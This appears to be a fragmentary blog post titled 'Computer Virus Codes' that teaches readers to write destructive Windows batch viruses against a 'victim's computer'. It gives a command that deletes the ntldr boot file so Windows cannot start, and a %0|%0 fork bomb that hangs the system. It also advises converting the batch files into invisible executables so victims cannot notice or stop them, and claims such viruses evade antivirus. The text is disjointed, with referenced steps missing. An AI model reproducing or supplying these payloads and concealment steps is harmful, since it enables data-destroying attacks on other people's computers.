• avi

    COMPUTER VIRUS CODES

    Lets make a batch file to delete this file from victim's computer and the windows will not start then. to clear system file attribute, read only attribute , hidden file attribute respectively
    del ntldr //delete ntldr file
    After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again.
    4.%0|%0 //Its percentage zero pipe percentage zero
    This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows This is actually known as 'fork bomb'.
    The viruses we just coded -:

    Note : Most of the batch viruses are simply undetectable by any anitiviruses
    Tip : Coding good viruses just depends on the DOS commands you know and logic you use.
    Limitations of Batch Viruses -:

    • Victim can easily read the commands by opening batch file in notepad.
    • The command prompt screen pops up,it alerts the victim and he can stop it.


    To overcome these limitations,we need to convert these batch files into executable files that is exe files.

    *Download: Bat_To_Exe_Converter *
    After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.
    You can use other options as per your requirement.
    ALL OF THESE ARE TO BE TYPED IN NOTEPAD...

    Subscribe to: Posts ( Atom )